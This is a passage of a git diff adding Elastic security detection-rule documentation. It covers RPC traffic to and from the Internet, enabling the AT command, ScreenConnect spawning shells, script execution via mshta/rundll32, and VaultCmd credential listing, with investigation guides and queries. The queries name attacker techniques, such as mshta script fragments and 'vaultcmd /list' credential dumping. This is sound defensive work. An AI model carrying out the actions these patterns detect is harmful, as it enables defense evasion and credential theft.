identify any unauthorized access or data exfiltration attempts. +- Apply the latest security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Change all administrative and user credentials on the affected system and any other systems that may have been accessed using the same credentials. +- Implement network segmentation to limit the exposure of critical systems and services, ensuring that RPC services are not accessible from the Internet. +- Monitor the network for any signs of re-infection or further suspicious activity, focusing on traffic patterns similar to those identified in the initial alert. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to determine if additional systems are compromised. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and (destination.port:135 or data_stream.dataset:zeek.dce_rpc) and + not (event.type: denied or event.action: flow_dropped or event.outcome: failure) and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rpc-remote-procedure-call-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rpc-remote-procedure-call-to-the-internet.asciidoc new file mode 100644 index 0000000000..a2e9d79934 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-rpc-remote-procedure-call-to-the-internet.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-21-rpc-remote-procedure-call-to-the-internet]] +=== RPC (Remote Procedure Call) to the Internet + +This rule detects network events that may indicate the use of RPC traffic to the Internet. RPC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Initial Access +* Tactic: Lateral Movement +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating RPC (Remote Procedure Call) to the Internet* + + +RPC enables remote management and resource sharing across networks, crucial for system administration. However, when exposed to the Internet, it becomes a target for attackers seeking initial access or backdoor entry. The detection rule identifies suspicious RPC traffic from internal IPs to external networks, flagging potential exploitation attempts by monitoring specific ports and IP ranges. + + +*Possible investigation steps* + + +- Review the source IP address from the alert to identify the internal system initiating the RPC traffic. Check if this IP belongs to a known or authorized device within the network. +- Examine the destination IP address to determine if it is a known or suspicious external entity. Use threat intelligence sources to assess if the IP has been associated with malicious activity. +- Analyze the network traffic logs for the specific event.dataset values (network_traffic.flow or zeek.dce_rpc) to gather more context about the nature and volume of the RPC traffic. +- Investigate the destination port, specifically port 135, to confirm if the traffic is indeed RPC-related and assess if there are any legitimate reasons for this communication. +- Check for any recent changes or anomalies in the network configuration or system settings of the source IP that might explain the unexpected RPC traffic. +- Correlate this alert with other security events or logs to identify any patterns or additional indicators of compromise that might suggest a broader attack campaign. + + +*False positive analysis* + + +- Internal testing environments may generate RPC traffic to external IPs for legitimate purposes. Identify and document these environments, then create exceptions in the detection rule to prevent unnecessary alerts. +- Cloud-based services or applications that require RPC communication for integration or management might trigger false positives. Review these services and whitelist their IP addresses if they are verified as non-threatening. +- VPN or remote access solutions that use RPC for secure connections can be mistaken for suspicious activity. Ensure that the IP ranges of these solutions are excluded from the rule to avoid false alerts. +- Automated backup or synchronization tools that use RPC to communicate with external servers could be flagged. Verify these tools and add their destination IPs to an exception list if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough analysis of the affected system to identify any unauthorized changes or installed backdoors, focusing on processes and services related to RPC. +- Revoke any compromised credentials and enforce a password reset for all accounts that may have been accessed or used during the incident. +- Apply necessary patches and updates to the affected system and any other systems with similar vulnerabilities to mitigate the risk of exploitation. +- Monitor network traffic for any signs of lateral movement or additional suspicious activity, particularly focusing on RPC-related traffic. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced logging and monitoring for RPC traffic to detect and respond to similar threats more effectively in the future. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and (destination.port:135 or data_stream.dataset:zeek.dce_rpc) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-scheduled-tasks-at-command-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-scheduled-tasks-at-command-enabled.asciidoc new file mode 100644 index 0000000000..cdea40914d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-scheduled-tasks-at-command-enabled.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-21-scheduled-tasks-at-command-enabled]] +=== Scheduled Tasks AT Command Enabled + +Identifies attempts to enable the Windows scheduled tasks AT command via the registry. Attackers may use this method to move laterally or persist locally. The AT command has been deprecated since Windows 8 and Windows Server 2012, but still exists for backwards compatibility. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-scheduledjob + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Scheduled Tasks AT Command Enabled* + + +The AT command, a legacy Windows utility, schedules tasks for execution, often used for automation. Despite its deprecation post-Windows 8, it remains for compatibility, posing a security risk. Attackers exploit it to maintain persistence or move laterally. The detection rule monitors registry changes enabling this command, flagging potential misuse by checking specific registry paths and values indicative of enabling the AT command. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the change in the registry path "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration\EnableAt" and verify if the value was set to "1" or "0x00000001". +- Identify the user account and process responsible for the registry change by examining the event logs for associated user and process information. +- Check for any scheduled tasks created or modified around the time of the registry change to determine if the AT command was used to schedule any tasks. +- Investigate the system for any signs of lateral movement or persistence mechanisms that may have been established using the AT command. +- Correlate the event with other security alerts or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context and assess the scope of potential malicious activity. + + +*False positive analysis* + + +- System administrators or IT management tools may enable the AT command for legacy support or compatibility testing. Verify if the change aligns with scheduled maintenance or updates. +- Some enterprise environments might have legacy applications that rely on the AT command for task scheduling. Confirm with application owners if such dependencies exist and document them. +- Security software or monitoring tools might trigger registry changes as part of their normal operation. Cross-reference with logs from these tools to ensure the change is benign. +- If a specific user or system frequently triggers this alert without malicious intent, consider creating an exception for that user or system in your monitoring solution to reduce noise. +- Regularly review and update the list of exceptions to ensure they remain relevant and do not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further lateral movement or persistence by the attacker. +- Review the registry changes identified in the alert to confirm unauthorized enabling of the AT command. Revert the registry setting to its secure state by setting the value to "0" or "0x00000000". +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious software or scripts. +- Investigate user accounts and permissions on the affected system to ensure no unauthorized accounts or privilege escalations have occurred. Reset passwords for any compromised accounts. +- Monitor network traffic and logs for any signs of data exfiltration or communication with known malicious IP addresses or domains. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar registry changes across the network to detect and respond to future attempts promptly. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "EnableAt" and + registry.data.strings : ("1", "0x00000001") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: At +** ID: T1053.002 +** Reference URL: https://attack.mitre.org/techniques/T1053/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-screenconnect-server-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-screenconnect-server-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..1d8c909da7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-screenconnect-server-spawning-suspicious-processes.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-screenconnect-server-spawning-suspicious-processes]] +=== ScreenConnect Server Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the ScreenConnect server process (ScreenConnect.Service.exe). This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blackpointcyber.com/resources/blog/breaking-through-the-screen/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ScreenConnect Server Spawning Suspicious Processes* + + +ScreenConnect, a remote support tool, allows administrators to control systems remotely. Adversaries may exploit this by executing unauthorized commands or scripts, potentially using it as a backdoor. The detection rule identifies unusual child processes like command shells spawned by the ScreenConnect service, signaling possible exploitation or web shell activity, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the alert details to confirm the parent process is ScreenConnect.Service.exe and identify the suspicious child process name, such as cmd.exe or powershell.exe. +- Check the timestamp of the process start event to determine when the suspicious activity occurred and correlate it with any other unusual activities or alerts around the same time. +- Investigate the user account associated with the process to determine if it is a legitimate user or potentially compromised. +- Examine the command line arguments of the spawned process to identify any malicious or unauthorized commands being executed. +- Review network logs for any unusual outbound connections initiated by the ScreenConnect service or the suspicious child process, which may indicate data exfiltration or communication with a command and control server. +- Analyze the system for any additional indicators of compromise, such as unexpected file modifications or the presence of web shells, to assess the extent of the potential breach. + + +*False positive analysis* + + +- Legitimate administrative tasks using command shells or scripting tools like cmd.exe or powershell.exe may trigger the rule. To manage this, create exceptions for known administrative scripts or tasks that are regularly executed by trusted users. +- Automated maintenance scripts that utilize ScreenConnect for legitimate purposes can be mistaken for suspicious activity. Identify these scripts and whitelist their execution paths or specific process names to prevent false alerts. +- Software updates or installations that require command line execution through ScreenConnect might be flagged. Document these processes and exclude them from the rule by specifying the associated process names or hashes. +- Security tools or monitoring solutions that interact with ScreenConnect for legitimate scanning or logging purposes may inadvertently trigger the rule. Verify these tools and add them to an exception list based on their process identifiers or parent-child process relationships. +- Training or demonstration sessions using ScreenConnect to showcase command line features could be misinterpreted as threats. Schedule these sessions and temporarily adjust the rule sensitivity or disable it during the known timeframes to avoid false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified as being spawned by ScreenConnect.Service.exe, such as cmd.exe or powershell.exe, to halt any ongoing malicious activity. +- Conduct a thorough review of recent ScreenConnect session logs to identify unauthorized access or unusual activity patterns, and revoke any compromised credentials. +- Scan the affected system for additional indicators of compromise, such as web shells or other malware, using endpoint detection and response tools. +- Apply security patches and updates to the ScreenConnect server and any other vulnerable applications to mitigate exploitation risks. +- Restore the system from a known good backup if evidence of compromise is confirmed, ensuring that the backup is free from malicious artifacts. +- Report the incident to the appropriate internal security team or external authorities if required, providing them with detailed findings and evidence for further investigation. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "ScreenConnect.Service.exe" and + (process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "csc.exe") or + ?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-script-execution-via-microsoft-html-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-script-execution-via-microsoft-html-application.asciidoc new file mode 100644 index 0000000000..06a5856e6c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-script-execution-via-microsoft-html-application.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-21-script-execution-via-microsoft-html-application]] +=== Script Execution via Microsoft HTML Application + +Identifies the execution of scripts via HTML applications using Windows utilities rundll32.exe or mshta.exe. Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Elastic Endgame + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Script Execution via Microsoft HTML Application* + + +Microsoft HTML Applications (HTA) allow scripts to run in a trusted environment, often using utilities like `rundll32.exe` or `mshta.exe`. Adversaries exploit this by executing malicious scripts under the guise of legitimate processes, bypassing defenses. The detection rule identifies suspicious script execution patterns, such as unusual command lines or execution from common download locations, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the process command line details to identify any suspicious patterns or indicators of malicious activity, such as the presence of script execution commands like "eval", "GetObject", or "WScript.Shell". +- Check the parent process executable path to determine if the process was spawned by a known legitimate application or if it deviates from expected behavior, especially if it is not from the specified exceptions like Citrix, Microsoft Office, or Quokka.Works GTInstaller. +- Investigate the origin of the HTA file, particularly if it was executed from common download locations like the Downloads folder or temporary archive extraction paths, to assess if it was downloaded from the internet or extracted from an archive. +- Analyze the process arguments and count to identify any unusual or unexpected parameters that could indicate malicious intent, especially if the process name is "mshta.exe" and the command line does not include typical HTA or HTM file references. +- Correlate the event with other security logs and alerts from data sources like Sysmon, SentinelOne, or Microsoft Defender XDR to gather additional context and determine if this activity is part of a broader attack pattern. + + +*False positive analysis* + + +- Execution of legitimate scripts by enterprise applications like Citrix, Microsoft Office, or Quokka.Works GTInstaller can trigger false positives. Users can mitigate this by adding these applications to the exclusion list in the detection rule. +- Scripts executed by mshta.exe that do not involve malicious intent, such as internal web applications or administrative scripts, may be flagged. Users should review these scripts and, if deemed safe, exclude them based on specific command line patterns or parent processes. +- HTA files downloaded from trusted internal sources or vendors might be mistakenly identified as threats. Users can create exceptions for these sources by specifying trusted download paths or file hashes. +- Temporary files created by legitimate software installations or updates in user temp directories can be misinterpreted as malicious. Users should monitor these activities and exclude known safe processes or directories from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the malicious script or unauthorized access. +- Terminate any suspicious processes identified by the detection rule, specifically those involving `rundll32.exe` or `mshta.exe` with unusual command lines. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or scripts. +- Review and analyze the command lines and scripts executed to understand the scope and intent of the attack, and identify any additional compromised systems. +- Restore the affected system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Implement network segmentation to limit the ability of similar threats to propagate across the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("rundll32.exe", "mshta.exe") and + ( + (process.command_line : + ( + "*script*eval(*", + "*script*GetObject*", + "*.regread(*", + "*WScript.Shell*", + "*.run(*", + "*).Exec()*", + "*mshta*http*", + "*mshtml*RunHTMLApplication*", + "*mshtml*,#135*", + "*StrReverse*", + "*.RegWrite*", + /* Issue #379 */ + "*window.close(*", + "* Chr(*" + ) + and not ?process.parent.executable : + ("?:\\Program Files (x86)\\Citrix\\System32\\wfshell.exe", + "?:\\Program Files (x86)\\Microsoft Office\\Office*\\MSACCESS.EXE", + "?:\\Program Files\\Quokka.Works GTInstaller\\GTInstaller.exe") + ) or + + (process.name : "mshta.exe" and + not process.command_line : ("*.hta*", "*.htm*", "-Embedding") and ?process.args_count >=2) or + + /* Execution of HTA file downloaded from the internet */ + (process.name : "mshta.exe" and process.command_line : "*\\Users\\*\\Downloads\\*.hta*") or + + /* Execution of HTA file from archive */ + (process.name : "mshta.exe" and + process.args : ("?:\\Users\\*\\Temp\\7z*", "?:\\Users\\*\\Temp\\Rar$*", "?:\\Users\\*\\Temp\\Temp?_*", "?:\\Users\\*\\Temp\\BNZ.*")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-searching-for-saved-credentials-via-vaultcmd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-searching-for-saved-credentials-via-vaultcmd.asciidoc new file mode 100644 index 0000000000..2fda14fdae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-searching-for-saved-credentials-via-vaultcmd.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-searching-for-saved-credentials-via-vaultcmd]] +=== Searching for Saved Credentials via VaultCmd + +Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16 +* https://web.archive.org/web/20201004080456/https://rastamouse.me/blog/rdp-jump-boxes/ +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Searching for Saved Credentials via VaultCmd* + + +Windows Credential Manager stores credentials for websites, applications, and networks. Adversaries exploit this by using VaultCmd to list or extract these credentials, aiding in lateral movement. The detection rule identifies such abuse by monitoring the execution of VaultCmd with specific arguments, flagging potential credential access attempts. This helps in early detection of unauthorized credential access activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of vaultcmd.exe with the /list* argument, as this indicates an attempt to list saved credentials. +- Check the user account associated with the process execution to determine if the activity aligns with expected behavior for that user or if it appears suspicious. +- Investigate the parent process of vaultcmd.exe to understand how it was initiated and whether it was triggered by a legitimate application or script. +- Examine recent login activity and network connections from the host to identify any signs of lateral movement or unauthorized access attempts. +- Correlate this event with other security alerts or logs from the same host or user to identify potential patterns of malicious behavior. +- Review endpoint security logs from tools like Microsoft Defender XDR or Crowdstrike for additional context or corroborating evidence of credential access attempts. + + +*False positive analysis* + + +- Routine administrative tasks using VaultCmd for legitimate credential management can trigger alerts. To manage this, create exceptions for known administrative accounts or scheduled tasks that regularly use VaultCmd with the /list argument. +- Security software or system management tools that perform regular audits of stored credentials might also cause false positives. Identify these tools and exclude their processes from triggering the rule. +- Automated scripts or backup processes that access Credential Manager for legitimate purposes may be flagged. Review these scripts and whitelist them if they are verified as non-threatening. +- User-initiated credential management activities, such as listing credentials for personal use, can be mistaken for malicious behavior. Educate users on the implications of using VaultCmd and consider excluding specific user accounts if necessary. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement and further credential access. +- Terminate any suspicious processes associated with VaultCmd.exe to halt unauthorized credential dumping activities. +- Conduct a thorough review of the affected system's event logs and process execution history to identify any additional malicious activities or compromised accounts. +- Reset passwords for any accounts that may have been exposed or accessed through the Credential Manager to mitigate unauthorized access. +- Implement enhanced monitoring on the affected system and similar endpoints for any further attempts to use VaultCmd.exe or other credential dumping tools. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the scope of the breach. +- Review and update endpoint protection configurations to ensure that similar threats are detected and blocked in the future, leveraging threat intelligence and MITRE ATT&CK framework insights. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name:"vaultcmd.exe" or process.name:"vaultcmd.exe") and + process.args:"/list*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Windows Credential Manager +** ID: 